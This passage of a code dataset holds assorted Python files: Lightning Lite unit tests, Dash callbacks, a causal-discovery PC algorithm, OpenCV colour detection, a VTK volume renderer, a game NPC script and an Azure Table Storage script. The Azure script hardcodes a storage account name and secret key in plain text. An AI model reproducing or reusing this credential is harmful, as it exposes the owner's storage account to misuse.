plt.show()","repo_name":"youngslife/mindGitter","sub_path":"MODEL/data/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"13979799581","text":"import sys\nimport re\n\ninput=str(sys.argv[1])\n\nf_out = open(input,\"w\")\n\nPythonversion = sys.version\nPythonversion1 = Pythonversion.split() \nf_out.write('Python Version Installed : v' + Pythonversion1[0] + '\\n' )\n\n\nf_out.close()\n","repo_name":"robcore/flybirdlaboratory_adsp_proc","sub_path":"qdsp6/scripts/crashman/Version_Check.py","file_name":"Version_Check.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"8960501624","text":"#!/bin/python\n# -*- coding: utf-8 -*-\nfrom Object.eventobj import *\n\nclass Script:\n\tdef get_id(self):\n\t\tevent_id = []\n\t\tevent_id.append(11000508)\n\t\treturn event_id\n\n\tdef main(self,pc,event):\n\t\tsay(pc, \"素敵ですわ、素敵ですわ!$R\"+\\\n\t\t\t\t\"$R\"+\\\n\t\t\t\t\"道行く人々がみんなオシャレ。$R\"+\\\n\t\t\t\t\"さすがアクロポリスですわね〜。$R\"+\\\n\t\t\t\t\"$P\"+\\\n\t\t\t\t\"私、オシャレが大好きなんですの。$R\"+\\\n\t\t\t\t\"洋服の素材を買いに来たんですけど$R\"+\\\n\t\t\t\t\"なかなか売ってないんですのね。$R\"+\\\n\t\t\t\t\"\", \"サファネ\", 131)\n\t\t#ここからは未実装\n\n\t\"\"\"\n\t作者:brokentavern\n\tnpcname:サファネ\n\n\tmessage\n\t”素敵ですわ、素敵ですわ!\n\n\t道行く人々がみんなオシャレ。\n\tさすがアクロポリスですわね〜。”\n\tnext\n\t”私、オシャレが大好きなんですの。\n\t洋服の素材を買いに来たんですけど\n\tなかなか売ってないんですのね。”\n\tback ok\n\t///2回目以降はここから\n\t”ふぅ、困ってしまいました・・・。\n\n\t『青い粉末』3個お持ちでしたら\n\tゆずっていただけないかしら?”\n\tok→end\n\n\t※収集品と個数はランダム\n\t\"\"\"\n\n\n\n","repo_name":"tarathep/pyeco","sub_path":"Script/アクロポリス/アップタウン[10023000]/s11000508_サファネ/s11000508.py","file_name":"s11000508.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73953314722","text":"from unittest.mock import Mock\n\nimport pytest\nimport torch\nfrom tests_lite.helpers.runif import RunIf\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom lightning_lite.lite import LightningLite\nfrom lightning_lite.utilities.device_dtype_mixin import _DeviceDtypeModuleMixin\nfrom lightning_lite.wrappers import _LiteDataLoader, _LiteModule, _LiteOptimizer\n\n\nclass EmptyLite(LightningLite):\n def run(self):\n pass\n\n\ndef test_lite_module_wraps():\n \"\"\"Test that the wrapped module is accessible via the property.\"\"\"\n module = Mock()\n assert _LiteModule(module, Mock()).module is module\n\n wrapped_module = Mock()\n original_module = Mock()\n assert _LiteModule(wrapped_module, Mock(), original_module=original_module).module is original_module\n\n\ndef test_lite_module_attribute_lookup():\n \"\"\"Test that attribute lookup passes through to the original module when possible.\"\"\"\n\n class OriginalModule(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.layer = torch.nn.Linear(2, 3)\n self.attribute = 1\n\n def method(self):\n return 2\n\n original_module = OriginalModule()\n\n class ModuleWrapper(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.wrapped = original_module\n\n wrapped_module = ModuleWrapper()\n\n lite_module = _LiteModule(wrapped_module, Mock(), original_module=original_module)\n assert lite_module.attribute == 1\n assert lite_module.layer is original_module.layer\n assert lite_module.method() == 2\n assert lite_module.forward.__self__.__class__ == _LiteModule\n\n with pytest.raises(AttributeError):\n _ = lite_module.not_exists\n\n\ndef test_lite_module_state_dict_access():\n \"\"\"Test that state_dict access passes through to the original module.\"\"\"\n\n class OriginalModule(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.layer = torch.nn.Linear(2, 3)\n\n original_module = OriginalModule()\n\n class ModuleWrapper(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.wrapped = original_module\n\n wrapped_module = ModuleWrapper()\n\n lite_module = _LiteModule(wrapped_module, Mock(), original_module=original_module)\n state_dict = lite_module.state_dict()\n assert set(state_dict.keys()) == {\"layer.weight\", \"layer.bias\"}\n\n weight, bias = torch.rand(3, 2), torch.rand(3)\n lite_module.load_state_dict({\"layer.weight\": weight, \"layer.bias\": bias})\n assert torch.equal(lite_module.layer.weight, weight)\n assert torch.equal(lite_module.layer.bias, bias)\n\n\n@pytest.mark.parametrize(\n \"precision, input_type, expected_type, accelerator, device_str\",\n [\n pytest.param(32, torch.float16, torch.float32, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(32, torch.float32, torch.float32, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(32, torch.float64, torch.float32, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(32, torch.int, torch.int, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(16, torch.float32, torch.float16, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(16, torch.float64, torch.float16, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(16, torch.long, torch.long, \"gpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(\n \"bf16\",\n torch.float32,\n torch.bfloat16,\n \"gpu\",\n \"cuda:0\",\n marks=RunIf(min_cuda_gpus=1, min_torch=\"1.10\", bf16_cuda=True),\n ),\n pytest.param(\n \"bf16\",\n torch.float64,\n torch.bfloat16,\n \"gpu\",\n \"cuda:0\",\n marks=RunIf(min_cuda_gpus=1, min_torch=\"1.10\", bf16_cuda=True),\n ),\n pytest.param(\n \"bf16\",\n torch.bool,\n torch.bool,\n \"gpu\",\n \"cuda:0\",\n marks=RunIf(min_cuda_gpus=1, min_torch=\"1.10\", bf16_cuda=True),\n ),\n pytest.param(32, torch.float32, torch.float32, \"mps\", \"mps:0\", marks=RunIf(mps=True)),\n ],\n)\ndef test_lite_module_forward_conversion(precision, input_type, expected_type, accelerator, device_str):\n \"\"\"Test that the LiteModule performs autocasting on the input tensors and during forward().\"\"\"\n lite = EmptyLite(precision=precision, accelerator=accelerator, devices=1)\n device = torch.device(device_str)\n\n def check_autocast(forward_input):\n assert precision != 16 or torch.is_autocast_enabled()\n return forward_input\n\n module = Mock(wraps=torch.nn.Identity(), side_effect=check_autocast)\n lite_module = _LiteModule(module, lite._precision).to(device)\n out = lite_module(torch.tensor([1, 2, 3], dtype=input_type, device=device))\n assert module.call_args[0][0].dtype == expected_type\n assert out.dtype == input_type or out.dtype == torch.get_default_dtype()\n\n\n@pytest.mark.parametrize(\n \"device_str\",\n [\n \"cpu\",\n pytest.param(\"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(\"mps\", marks=RunIf(mps=True)),\n ],\n)\n@pytest.mark.parametrize(\"dtype\", [torch.float32, torch.float16])\ndef test_lite_module_device_dtype_propagation(device_str, dtype):\n \"\"\"Test that the LiteModule propagates device and dtype properties to its submodules (e.g. torchmetrics).\"\"\"\n\n device = torch.device(device_str)\n\n class DeviceModule(_DeviceDtypeModuleMixin):\n pass\n\n device_module = DeviceModule()\n lite_module = _LiteModule(device_module, Mock())\n lite_module.to(device)\n assert device_module.device == device\n assert lite_module.device == device\n\n lite_module.to(dtype)\n assert device_module.dtype == dtype\n assert lite_module.dtype == dtype\n\n\ndef test_lite_dataloader_iterator():\n \"\"\"Test that the iteration over a LiteDataLoader wraps the iterator of the underlying dataloader (no automatic\n device placement).\"\"\"\n dataloader = DataLoader(range(5), batch_size=2)\n lite_dataloader = _LiteDataLoader(dataloader)\n assert len(lite_dataloader) == len(dataloader) == 3\n\n iterator = iter(dataloader)\n lite_iterator = iter(lite_dataloader)\n\n assert torch.equal(next(iterator), next(lite_iterator))\n assert torch.equal(next(iterator), next(lite_iterator))\n assert torch.equal(next(iterator), next(lite_iterator))\n\n with pytest.raises(StopIteration):\n next(iterator)\n\n with pytest.raises(StopIteration):\n next(lite_iterator)\n\n\n@pytest.mark.parametrize(\n \"src_device_str, dest_device_str\",\n [\n (\"cpu\", \"cpu\"),\n pytest.param(\"cpu\", \"cuda:0\", marks=RunIf(min_cuda_gpus=1)),\n pytest.param(\"cuda:0\", \"cpu\", marks=RunIf(min_cuda_gpus=1)),\n # pytest.param(\"cpu\", \"mps\", marks=RunIf(mps=True)), # TODO: Add once torch.equal is supported\n pytest.param(\"mps\", \"cpu\", marks=RunIf(mps=True)),\n ],\n)\ndef test_lite_dataloader_device_placement(src_device_str, dest_device_str):\n \"\"\"Test that the LiteDataLoader moves data to the device in its iterator.\"\"\"\n src_device = torch.device(src_device_str)\n dest_device = torch.device(dest_device_str)\n\n sample0 = torch.tensor(0, device=src_device)\n sample1 = torch.tensor(1, device=src_device)\n sample2 = {\"data\": torch.tensor(2, device=src_device)}\n sample3 = {\"data\": torch.tensor(3, device=src_device)}\n dataloader = DataLoader([sample0, sample1, sample2, sample3], batch_size=2)\n lite_dataloader = _LiteDataLoader(dataloader=dataloader, device=dest_device)\n iterator = iter(lite_dataloader)\n\n batch0 = next(iterator)\n # TODO: torch.equal is not supported on MPS at this time (torch 1.12)\n assert torch.equal(batch0, torch.tensor([0, 1], device=dest_device))\n\n batch1 = next(iterator)\n # TODO: torch.equal is not supported on MPS at this time (torch 1.12)\n assert torch.equal(batch1[\"data\"], torch.tensor([2, 3], device=dest_device))\n\n\ndef test_lite_optimizer_wraps():\n \"\"\"Test that the LiteOptimizer fully wraps the optimizer.\"\"\"\n optimizer_cls = torch.optim.SGD\n optimizer = Mock(spec=optimizer_cls)\n lite_optimizer = _LiteOptimizer(optimizer, Mock())\n assert lite_optimizer.optimizer is optimizer\n assert isinstance(lite_optimizer, optimizer_cls)\n\n\ndef test_lite_optimizer_state_dict():\n \"\"\"Test that the LiteOptimizer calls into the strategy to collect the state.\"\"\"\n optimizer = Mock()\n strategy = Mock()\n lite_optimizer = _LiteOptimizer(optimizer=optimizer, strategy=strategy)\n lite_optimizer.state_dict()\n strategy.get_optimizer_state.assert_called_with(optimizer)\n\n\ndef test_lite_optimizer_steps():\n \"\"\"Test that the LiteOptimizer forwards the step() and zero_grad() calls to the wrapped optimizer.\"\"\"\n optimizer = Mock()\n strategy = Mock(spec=[\"optimizer_step\"])\n strategy.optimizer_step.return_value = 123\n lite_optimizer = _LiteOptimizer(optimizer=optimizer, strategy=strategy)\n step_output = lite_optimizer.step()\n assert step_output == 123\n strategy.optimizer_step.assert_called_once_with(optimizer)\n\n strategy.reset_mock()\n\n # with closure as input\n closure = Mock()\n lite_optimizer.step(closure=closure)\n strategy.optimizer_step.assert_called_once_with(optimizer, closure=closure)\n\n # with model as optimizer\n strategy = Mock(spec=[\"optimizer_step\", \"model\"])\n lite_optimizer = _LiteOptimizer(optimizer=optimizer, strategy=strategy)\n lite_optimizer.step()\n strategy.optimizer_step.assert_called_once_with(strategy.model)\n","repo_name":"Eashurox/CPDP_ML","sub_path":"Dataset/ML Projects/Lightning_Versions/lightning-1.8.0/tests/tests_lite/test_wrappers.py","file_name":"test_wrappers.py","file_ext":"py","file_size_in_byte":9621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2456213497","text":"# importing dependencies \nfrom dash import callback, dcc, html\nfrom dash.dependencies import Input, Output\n\n# This callback controls the style of the navigation buttons according to the current page \n# The output is in a dcc.Store component which then will be used in the next callback\n@callback(\n Output('styles', 'data'),\n Input('url', 'pathname')\n)\ndef update_styles(path):\n if path == '/':\n styles = [{'background-color': '#94c4d4', 'color': 'black'}, None]\n elif path == '/detailed-view':\n styles = [None, {'background-color': '#94c4d4', 'color': 'black'}]\n else: \n styles = [None]*2\n return styles\n\n\n# This callback takes the input from the dcc.Store component from the callback above and outputs the style of the navigation buttons.\n@callback(\n Output('page1', 'style'),\n Output('page2', 'style'),\n Input('styles', 'data')\n)\ndef update_button_style(styles):\n return styles[0], styles[1]","repo_name":"fayezhesham/commodities_trading","sub_path":"callbacks/main_callbacks.py","file_name":"main_callbacks.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72245769121","text":"import os\nimport sys\nimport logging\nimport json\nfrom datetime import datetime\nimport pyratemp\n\n# import azure.functions as func\nfrom azure.cosmosdb.table.tableservice import TableService\nfrom azure.cosmosdb.table.models import Entity\n\ndef GetSources(environment, _account_name, _account_key):\n sources = {}\n if environment is not None:\n try:\n queryFilter = \"(PartitionKey eq '{}')\".format(environment)\n table_service = TableService(account_name=_account_name,account_key=_account_key)\n entities = table_service.query_entities(\"dvSource\", filter = queryFilter)\n for entity in entities:\n if entity.isActive==1:\n sources[entity.RowKey] = entity.rectype\n except Exception as e:\n logging.error(e)\n sources = {}\n finally:\n table_service = None\n else:\n sources = {}\n\n return sources\n\ndef GetStageStructure(_environment, _source, _ddVersion, _account_name, _account_key):\n d = {}\n fieldsToSkip = ['Create_TS','Modify_ID','Modify_TS','OCCNO','RowID','PartitionKey', 'SOURCEDELETED', 'DTS_DTTMSP','HASH', 'Distributed_KEY', 'Modification_Count']\n baseColumns = []\n reoccurColumns = []\n baseDataTypes = {}\n reoccurDataTypes = {}\n b64Columns = []\n isHistory = \"N\"\n mfdSchema = \"THB\"\n rectypeNames = []\n rectypeValues = []\n try:\n queryFilter = \"\"\"(PartitionKey eq '{0}') and (RowKey ge '{1}-{2}') and (RowKey lt '{1}-{2}.')\"\"\".format(_environment, _ddVersion, _source)\n # log.info(f'Query filter: {queryFilter}')\n table_service = TableService(account_name=_account_name, account_key=_account_key)\n entities = table_service.query_entities(\"dvStageEntity\", filter = queryFilter)\n for entity in entities:\n if entity.stageColumnName.endswith(\"RECORD_KEY\") or entity.stageColumnName in fieldsToSkip:\n pass\n else:\n if entity.stageTableName.endswith(\"_REOCCUR\"):\n reoccurColumns.append(entity.stageColumnName)\n reoccurDataTypes[entity.stageColumnName] = entity.stageEasyDataType\n else:\n baseColumns.append(entity.stageColumnName)\n baseDataTypes[entity.stageColumnName] = entity.stageEasyDataType\n isHistory = \"Y\" if entity.isHistory == \"Y\" else \"N\"\n mfdSchema = entity.MfdSchemaName\n if entity.isBase64 == 1:\n b64Columns.append(entity.stageColumnName)\n except Exception as e:\n logging.error(e)\n finally:\n table_service = None\n\n table_service = TableService(account_name=_account_name, account_key=_account_key)\n entities = table_service.query_entities(\"dvDWSource\", filter = queryFilter)\n try:\n for entity in entities:\n if entity.RectypeValue.upper() not in rectypeValues:\n rectypeValues.append(entity.RectypeValue.upper())\n # 0=RecordType, 1=RectypeValue, 2=SchemaName, 3=RectypeReoccur, 4=TableName, 5=isHistoryTable\n if ([entity.RecordType, entity.DW_Rectype_Reoccur] not in rectypeNames):\n rectypeNames.append([entity.RecordType, entity.DW_Rectype_Reoccur, entity.TableName, entity.IsHistoryTable])\n except Exception as e:\n logging.error(e)\n finally:\n table_service = None\n\n d[\"b_columnList\"] = baseColumns\n d[\"r_columnList\"] = reoccurColumns\n d[\"baseDataTypes\"] = baseDataTypes\n d[\"reoccurDataTypes\"] = reoccurDataTypes\n d[\"b64Columns\"] = b64Columns\n d[\"isHistory\"] = isHistory\n d[\"schemaName\"] = mfdSchema\n d[\"hasReoccur\"] = \"Y\" if len(reoccurColumns) > 0 else \"N\"\n d[\"hasB64Columns\"] = \"Y\" if len(b64Columns) > 0 else \"N\"\n d[\"rectypenames\"] = rectypeNames\n d[\"rectypevalues\"] = rectypeValues\n\n return d\n\ndef main():\n print(\"Starting...\")\n print(\"Run started at {}\".format(datetime.now()))\n my_account_name = \"dvcodegeneration\"\n my_account_key = \"7fl0rjn5ajtEBMg30n3jAnzdhMKFuE0MMqqae7Pv5AJAl47XYjNxZ8Ig8gvgvdKOUAGF7oGLz+TUXMcM0fLeVg==\"\n environment = \"YRC-M204\"\n sources = GetSources(environment, my_account_name, my_account_key)\n # sources.clear()\n # sources[\"BAC\"] = \"RECTYPE\"\n # sources[\"TWG\"] = \"RECTYPE\"\n # sources[\"WGP\"] = \"No Rectype\"\n ddVersion = 243\n exclude = []\n options = []\n outputFiles = []\n t = pyratemp.Template(filename=\"MFD_SP_2_FileRecTypeRecords.tmpl\")\n try:\n for source in sources.keys():\n if str(source) not in exclude:\n d = GetStageStructure(environment, str(source),ddVersion, my_account_name, my_account_key)\n d[\"version\"] = \"1.0\"\n d[\"date\"] = str(datetime.now())\n d[\"fileName\"] = str(source)\n d[\"ddVersion\"] = ddVersion\n d[\"rectypeColumn\"] = sources[source]\n d[\"isPartitioned\"] = \"Y\"\n d[\"xP\"] = \"Y\" if \"xP\" in options else \"N\"\n outputFiles.append(t(**d))\n outFile = r\".\\MFD_SP_2_FileRecTypeRecords.sql\"\n with open(outFile, \"w\") as fout:\n fout.write(\"\\n\".join(outputFiles))\n except Exception as ex:\n raise\n print(\"Run ended at {}\".format(datetime.now()))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kevinjmackey/DVGeneration","sub_path":"TestDDLBySource.py","file_name":"TestDDLBySource.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72373052643","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author : RaXianch\n# CreatDATE : 2023/8/11\n# CreatTIME : 15:20\n# Blog : https://blog.raxianch.moe/\n# Github : https://github.com/DeSireFire\n__author__ = 'RaXianch'\n\nimport subprocess\nimport chardet\n\n\nclass ShellCommandExecutor:\n def __init__(self):\n self.output = None\n self.error = None\n\n def execute_command(self, command):\n try:\n process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n self.output, self.error = process.communicate()\n return process.returncode, self.output, self.error\n except Exception as e:\n return -1, None, str(e)\n\n def get_output_decoded(self, encoding=None):\n if encoding is None:\n result = chardet.detect(self.output)\n encoding = result['encoding']\n return self.output.decode(encoding)\n\n\n# 使用示例\nif __name__ == '__main__':\n shell_executor = ShellCommandExecutor()\n command = 'ipconfig'\n\n return_code, output, error = shell_executor.execute_command(command)\n\n if return_code == 0:\n print(\"Command executed successfully!\")\n decoded_output = shell_executor.get_output_decoded()\n print(\"Output:\\n\", decoded_output)\n else:\n print(\"Command execution failed!\")\n print(\"Error:\\n\", error)\n","repo_name":"DeSireFire/crawler-s-Gravestone","sub_path":"backEnd/utils/shellHelper.py","file_name":"shellHelper.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41279834804","text":"import itertools\nfrom causallearn.utils.GraphUtils import GraphUtils\nfrom causallearn.graph.GraphNode import GraphNode\nfrom causallearn.graph.GeneralGraph import GeneralGraph\nfrom causallearn.graph.Edges import Edges\nimport copy\nfrom causallearn.utils.cit import *\nfrom typing import Dict, Tuple, List\nfrom Utils import createIDTRODict\nfrom causallearn.utils.PCUtils.BackgroundKnowledge import BackgroundKnowledge\n\n\nclass PCAndBackground():\n def __init__(self, method : str, data : np.array, tro_schedule_list: np.array, bk : BackgroundKnowledge):\n self.method = method\n self.data = data\n self.id_tro_dict = createIDTRODict(tro_schedule_list)\n self.column_names = column_names = np.array(list(map(lambda x: x.getSmallerID(), tro_schedule_list)))\n self.bk = bk\n self.alpha = 0.05\n\n def fas_(self):\n '''The creation of the FAS function is inspired by the code of the causal learn library: https://github.com/py-why/causal-learn/blob/0.1.3.0/causallearn/utils/Fas.py'''\n independence_test_method = CIT(self.data, method=self.method)\n nodes = []\n sepsets = {}\n adjacencies = {}\n # first create all graph nodes\n for i in range(self.data.shape[1]):\n node_name = self.column_names[i]\n node_x = GraphNode(node_name)\n node_x.add_attribute(\"id\", i)\n nodes.append(node_x)\n #----------------------------- Depth0 start\n # only add the nodes that are not forbiddden in the adjacency list\n print(\"creating nodes and dependencies...\")\n node_length = len(nodes)\n for i, node_x in enumerate(nodes):\n print(\"Start: \", i, \"/\", node_length)\n for j in range(i+1, len(nodes)):\n other_node = nodes[j]\n if (self.bk.is_forbidden(nodes[i], nodes[j]) and self.bk.is_forbidden(nodes[j], nodes[i])):\n continue\n else:\n current_x = adjacencies.get(node_x.get_name(), [])\n adjacencies[node_x.get_name()] = current_x + [(other_node, j)]\n current_other = adjacencies.get(other_node.get_name(), [])\n adjacencies[other_node.get_name()] = current_other + [(node_x, i)]\n # ----------------------------- Depth0 end\n\n # ----------------------------- Depth x start\n # prune the edges from depth 0 by performing independence tests (but remain the required edges)\n maxDepth = 20\n for depth in range(maxDepth):\n print(\"Depth: \", depth)\n enough_adjacencies_for_depth = False\n # for each depth, copy the adjacencies, such that for each depth, the dependencies are kept the same\n adjacencies_completed = copy.copy(adjacencies)\n for i, node_x in enumerate(nodes):\n print(depth, \": \", i, \"/\", node_length)\n adjx = adjacencies_completed.get(node_x.get_name(), [])\n if len(adjx)-1 < depth:\n continue\n for index_j, (node_j, j) in enumerate(adjx):\n\n if self.bk.is_required(node_x, node_j) or self.bk.is_required(node_j, node_x):\n # if the node_x is required, don't try to find independences and move on to the next edge\n continue\n remaining_adjx = copy.copy(adjx)\n # remove the other node as possible set to condition on\n remaining_adjx.pop(index_j)\n\n cleaned_remaining_adjx = []\n for adjx_node in remaining_adjx:\n # do not add required nodes in the adjacency list This was also done in the causal lib:\n # https://github.com/py-why/causal-learn/blob/0.1.3.0/causallearn/utils/Fas.py#L18\n if not self.bk.is_required(node_x, adjx_node[0]):\n cleaned_remaining_adjx.append(adjx_node)\n # create all sets of length dept as possible sepset\n possible_sepsets = itertools.combinations(cleaned_remaining_adjx, depth)\n for possible_sepset in possible_sepsets:\n enough_adjacencies_for_depth = True\n\n possible_sepset = list(possible_sepset)\n possible_sepset_indexes = [x[1] for x in possible_sepset]\n p_value = independence_test_method(i, j, possible_sepset_indexes)\n if (p_value > self.alpha):\n # add the possible sepset as sepset for the nodes\n sepsets[(node_x.get_name(), node_j.get_name())] = [possible_sepset]\n # remove adjacency x\n current_adjancencies_x = adjacencies.get(node_x.get_name(), [])\n updated_adjacencies_x = [x for x in current_adjancencies_x if x[0] != node_j]\n adjacencies[node_x.get_name()] = updated_adjacencies_x\n\n # remove adjacency j\n current_adjancencies_j = adjacencies.get(node_j.get_name(), [])\n updated_adjacencies_j = [x for x in current_adjancencies_j if x[0] != node_x]\n adjacencies[node_j.get_name()] = updated_adjacencies_j\n # if the nodes are already separated by one sepset, do not search further.\n if not enough_adjacencies_for_depth:\n break\n # ----------------------------- Depth x end\n # ----------------------------- Transform to graph start\n graph = GeneralGraph(nodes)\n for i in range(len(nodes)):\n for j in range(i + 1, len(nodes)):\n node_x = nodes[i]\n node_y = nodes[j]\n adjx = adjacencies.get(node_x.get_name(), [])\n adjx_indexes = [x[1] for x in adjx]\n if j in adjx_indexes:\n graph.add_edge(Edges().undirected_edge(node_x, node_y))\n # ----------------------------- Transform to graph end\n return graph, sepsets\n\n\n def orientEdges(self, ggFas : GeneralGraph) -> GeneralGraph:\n nodes = ggFas.get_nodes()\n num_vars = len(nodes)\n # for all nodes, add the tiem attribute, such that it does not need to be retrieved every time\n for node in nodes:\n node_name = node.get_name()\n tro_time = self.id_tro_dict[node_name].getPlannedTime_time()\n node.add_attribute('time', tro_time)\n edges = ggFas.get_graph_edges()\n # empty the complete graph\n ggFas.graph = np.zeros((num_vars, num_vars), np.dtype(int))\n # add new nodes\n for edge in edges:\n # get nodes from edge\n node1 = edge.get_node1()\n node2 = edge.get_node2()\n # map edges to TRO + get time\n tro1_time = node1.get_attribute('time')\n tro2_time = node2.get_attribute('time')\n\n reverse = False\n # on the same date, 00h is later than 23h, so then we need to reverse the edges.\n if (tro1_time.hour == 23 or tro2_time.hour == 23) and (tro1_time.hour == 0 or tro2_time.hour == 0):\n reverse = True\n\n #order in timewise\n if tro1_time > tro2_time:\n #add directed edge\n if(reverse):\n ggFas.add_directed_edge(node1, node2)\n else:\n ggFas.add_directed_edge(node2, node1)\n\n else:\n # add directed edge\n if (reverse):\n ggFas.add_directed_edge(node2, node1)\n else:\n ggFas.add_directed_edge(node1, node2)\n return ggFas\n\n def apply_pc_with_background(self, graph_save_png_bool, filename = None) -> GeneralGraph:\n '''The PC-algorithm is applied\n first, it performs a skeleton search using the self.fas_() function\n then it orients the edges.\n Per step, the timing is captured and lastly, the graph can be saved as an image if graph_save_png_bool is true'''\n if(graph_save_png_bool == True and filename == None):\n raise ValueError(\"Filename is not provided, but print_graph_bool is True\")\n print(\"start with FAS with background\")\n start = time.time()\n gg_fas, sep_sets = self.fas_()\n end = time.time()\n print(\"FAS:\", \"it took\", end - start, \"seconds\")\n gg_fas = self.orientEdges(gg_fas)\n end = time.time()\n print(\"creating SCM of FAS with background is done, it took\", end - start, \"seconds\")\n if graph_save_png_bool:\n pdy = GraphUtils.to_pydot(gg_fas, labels=self.column_names)\n pdy.write_png(filename)\n return gg_fas\n","repo_name":"vera98x/Causal-discovery","sub_path":"PC_and_background.py","file_name":"PC_and_background.py","file_ext":"py","file_size_in_byte":8871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"45002219269","text":"import cv2\nimport numpy as np\nimport time\n\ndef red_detect(image):\n\n #image[:,:,0]=0\n #image[:,:,2]=0\n #cv2.imshow('red',image)\n\n hsv=cv2.cvtColor(image,cv2.COLOR_BGR2HSV) #convert RGB image to HSV for easier detection of colour\n\n lower_red = np.array([120,150,150]) #lower limit of red colour in HSV (change for green and blue; view test_green and test_blue for those values)\n upper_red = np.array([200,255,255]) #upper limit of red colour in HSV (change for green and blue; view test_green and test_blue for those values)\n\n blur = cv2.GaussianBlur(hsv,(15,15),0) #blur image for noise reduction (kinda needs to be optimised)\n mask = cv2.inRange(blur, lower_red, upper_red) #mask for only red colour\n \n res = cv2.bitwise_and(image,image, mask = mask) #show resultant image with red\n #kernel = np.ones((5,5),'uint8') \n #dilate = cv2.dilate(mask, kernel)\n #ret,thresh=cv2.threshold(mask,0,255,0)\n contours,hierarchy=cv2.findContours(mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE) #find contours possible on the masked image\n #cv2.drawContours(res,contours,-1,(255,255,255),5)\n #image1,contour,hierarchy=cv2.findContours(thresh,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n \n \n #bilateral = \n \n #cv2.imshow('gauss',blur)\n cv2.imshow('image', image)\n cv2.imshow('mask',mask)\n cv2.imshow('res',res)\n #cv2.imshow('dilate',dilate)\n #cv2.imshow('canvas', canvas)\n #cv2.imshow('contours',image1)\n \n if(len(contours) == 1): #if only 1 contour found, red colour object seen\n return 1\n else:\n return 0\n\n\ncap = cv2.VideoCapture(0);\nwhile(True):\n ret, image = cap.read()\n if cv2.waitKey(1) != 27:\n #start_time = time.time()\n print(red_detect(image))\n #print(\"\\n\"+str(time.time()-start_time))\n else:\n exit()\n\n","repo_name":"dragonfist453/AstraProject","sub_path":"testing files/test_red.py","file_name":"test_red.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37670304033","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created on Wed 06 Mar 2019 18:31:56\n @Author: Harsh Sharma\n @Email: contact@hsharma.xyz\n \n Description\n\"\"\"\n\nimport vtk\n\n# 1. Read CT dataset using vtkDICOMImageReader class.\nreader = vtk.vtkDICOMImageReader()\nreader.SetDirectoryName(\"CT\")\nreader.Update()\nprint(\"CT Data Loaded.\")\n# ---------------------------------------------------------\n\n# 2. Create a colour transfer function using the following values.\ncolorTransfer = vtk.vtkColorTransferFunction()\ncolorTransfer.AddRGBPoint(-3024, 0.0, 0.0, 0.0)\ncolorTransfer.AddRGBPoint(-77, 0.5, 0.2, 0.1)\ncolorTransfer.AddRGBPoint(94, 0.9, 0.6, 0.3)\ncolorTransfer.AddRGBPoint(179, 1.0, 0.9, 0.9)\ncolorTransfer.AddRGBPoint(260, 0.6, 0.0, 0.0)\ncolorTransfer.AddRGBPoint(3071, 0.8, 0.7, 1.0)\nprint(\"Colour transfer function created.\")\n# ---------------------------------------------------------\n\n# 3. Create a opacity transfer function using the following values.\nopacityTransfer = vtk.vtkPiecewiseFunction()\nopacityTransfer.AddPoint(-3024, 0.0)\nopacityTransfer.AddPoint(-77, 0.0)\nopacityTransfer.AddPoint(180, 0.2)\nopacityTransfer.AddPoint(260, 0.4)\nopacityTransfer.AddPoint(3071, 0.8)\nprint(\"Opacity transfer function created.\")\n# ---------------------------------------------------------\n\n# 4. Create viewports as shown below and render the CT dataset \n# using direct volume rendering approach in viewport 1.\nctMapper = vtk.vtkSmartVolumeMapper()\nctMapper.SetInputConnection(reader.GetOutputPort())\n\n# Add the opacity and colour transfer functions defined above\nctProp = vtk.vtkVolumeProperty()\nctProp.SetScalarOpacity(opacityTransfer)\nctProp.SetColor(colorTransfer)\nctProp.ShadeOn()\n\n# Define a volume actor\nctVolume = vtk.vtkVolume()\nvolRen = vtk.vtkRenderer()\n\n# Set volume actor properties\nctVolume.SetMapper(ctMapper)\nctVolume.SetProperty(ctProp)\n\nvolRen.AddVolume(ctVolume)\nprint(\"Volume rendering done.\")\n\n# 